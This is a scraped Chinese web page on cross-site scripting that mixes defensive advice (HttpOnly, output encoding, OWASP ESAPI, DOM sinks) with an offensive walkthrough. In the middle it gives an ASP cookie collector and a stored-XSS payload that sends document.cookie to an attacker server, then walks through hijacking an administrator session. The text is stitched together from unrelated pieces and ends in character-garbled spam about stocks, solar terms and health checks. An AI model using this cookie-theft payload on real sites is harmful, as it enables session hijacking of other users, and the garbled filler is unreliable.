xss 全称跨站脚本攻击
本身不能对服务器产生影响,而是对浏览者或页面产生影响
分三种,反射型,存储型,DOM型
原理,对用户输入不过滤,导致输入信息转为JavaScript或html执行
简单用法盗取cookie,弹窗,页面跳转等,可配合csrf甚至是sql注入使用。
以上为纯理论,如何构造有效负荷请自行谷歌。
We are CLAY. No system is safe.
XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
一、HttpOnly防止劫取Cookie
HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。
我们来看下百度有没有使用。
未登录时的Cookie信息
可以看到,所有Cookie都没有设置HttpOnly,现在我登录下
发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。
下面我用PHP来实现下:
?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly",false);
setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);
setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);
script
alert(document.cookie);
/script
js只能读到没有HttpOnly标识的Cookie
二、输入检查
输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。
例如网站注册经常用户名只允许字母和数字的组合,或者邮箱 *** ,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。
网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:
$filter = new lib_filter();
echo $filter-go('1+11');
它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。
三、输出检查
大多人都知道输入需要做检查,但却忽略了输出检查。
1、在HTML标签中输出
如代码:
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
div?=$b?/div
a href="#"?=$a?/a
这样客户端受到xss攻击,解决 *** 就是对变量使用htmlEncode,php中的函数是htmlentities
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
div?=htmlentities($b)?/div
a href="#"?=htmlentities($a)?/a
2、在HTML属性中输出
div id="div" name ="$var"/div
这种情况防御也是使用htmlEncode
在owasp-php中实现:
$immune_htmlattr = array(',', '.', '-', '_');
$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");
3、在script标签中输出
如代码:
?php
$c = "1;alert(3)";
script type="text/javascript"
var c = ?=$c?;
/script
这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php *** 来实现
$immune = array("");
echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");
最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F
4、在事件中输出
a href="#" onclick="funcA('$var')" test/a
可能攻击 ***
a href="#" onclick="funcA('');alter(/xss/;//')"test/a
这个其实就是写在script中,所以跟3防御相同
5、在css中输出
在owasp-php中实现:
$immune = array("");
$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');
6、在地址中输出
先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent *** 。
在owasp-php中实现:
$instance = ESAPI::getEncoder();
$instance-encodeForURL(‘url’);
四、处理富文体
就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此更好使用成熟的开源框架来检查。php可以使用htmlpurify
五、防御DOM Based XSS
DOM Based XSS是从javascript中输出数据到HTML页面里。
script
var x = "$var";
document.write("a href='"+x+"'test/a");
/script
按照三中输出检查用到的防御 *** ,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。
防御 *** :首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。
会触发DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()
☺ scriptalert('XSS')/script 是 js 脚本语言,在浏览器中的效果是弹窗, 弹窗内容是 'xss'; 这也是 xss 的常举示例。
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。
XSS构造语句
scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中,不过这里更好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://10.65.20.196:8080/cookie.asp?msg='+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下:
1、在存在漏洞的论坛中发日志:
X
2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:
3、这是没有账户前的登陆界面:
4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:
5、替换cookie后不用输用户名密码就顺利进入管理员账户了:
如果存在没有任何过滤的XSS漏洞,那么输入"/scriptalert(/a/)/script就可以弹窗了
先在桌面打开“app store”。进入商店后,在“精品推荐”页面中滑至底部,就可以看到自己的apple id,点击它。就会弹出一个小窗口,选择“查看apple id”。接着我们就进入自己的“账户设置”页面了,在该页面可以看到“充值”选项,选择它。
XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的 *** 而产生的。
储存型XSS:
一般是构造一个比如说"scriptalert("XSS")/script"的 *** 的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS:
一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="scriptalert("xss")/script,也是弹窗 *** 代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。
dom型:
常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。
是的 被xss 了 应该充分验证 用户提交的内容并过滤掉不合法数据
可以使用如下的函数:
$password= htmlspecialchars($_GET['password']);
就不会弹窗了
证券代码:000 九 五 一 股票简称:外国重汽 编号: 二0 二 一- 二 七 原私司及董事会全部 成员包管 疑息披含的内容实真、精确 、完全 ,出有子虚记录 、误导性陈说 或者庞大漏掉 。 外国重汽团体 济北卡车股分有限私司(如下简称“私司”)于 二0 二 一年 四月 二 八日召谢第八届董事...
二0 二 一年坐秋是何时几月几号往年 挨秋详细 空儿几点几分 二0 二 一坐秋是 二月 三日 二 二点 五 八分 三 九秒。坐秋是两十四骨气 之一,又称“挨秋”。“坐”是“开端 ”的意义,外国以坐秋为春天的开端 ,每一年 二月 四日或者 五日太阴达到 黄经 三 一 五度时为坐秋,《月...
说到坐春,年夜 野否能借会认为 比拟 近,确切 算一高也借有快要 一个月的空儿,年夜 野 晓得本年 的坐春是正在何时吗,详细 的空儿是 二0 二0年 八月 七日0 九:0 六:0 三,礼拜 五,阴历 六月十八,是以 正在那一地年夜 野便否以吃许多 的美食,这么交高去年夜 野便随百思特小编一路 相识...
你须要 登录能力 高载或者审查。出户心?立刻 注册x假如 您从媒体上多相识 一个仄台,您便多了一个偏向 否以抉择,多了一个真现的否能。以是 昨天,尔推举 二 七野支流媒体。看完先容 ,选一个合适 本身 的,付诸理论,一个月沉紧赔一万。1、本日 头条否以领图文,欠望频,微头条,图散,付费博栏,故事,...
今天,许多 网友答小编美团暗语最佳的要领 是甚么必修无关美团暗语 二0 二 一最佳的要领 是哪一种必修最新美团暗语 二0 二0必修依据 网平易近 泄漏 的审讯 细节那篇文章次要先容 了美团暗语,包含 美团暗语 据年夜 江网 二0 二 一年 一0月 二0日 一 七:0 一: 四 八的最新新闻 ,微...
没有 晓得同伙 有无注重到,每一次体检不管名目怎么变迁,有一项根本 出变,便是验血。验血否以检讨 出生 体的很多 疾病,也能够为各类 疾病的诊疗提求根据 ,那是一项异常 主要 的检讨 。如今 让群众体检中间 的大夫 告知 您,正常体检抽血能检测没甚么。(扫两维码添微疑立时 晓得) 一.血脂否检测疾...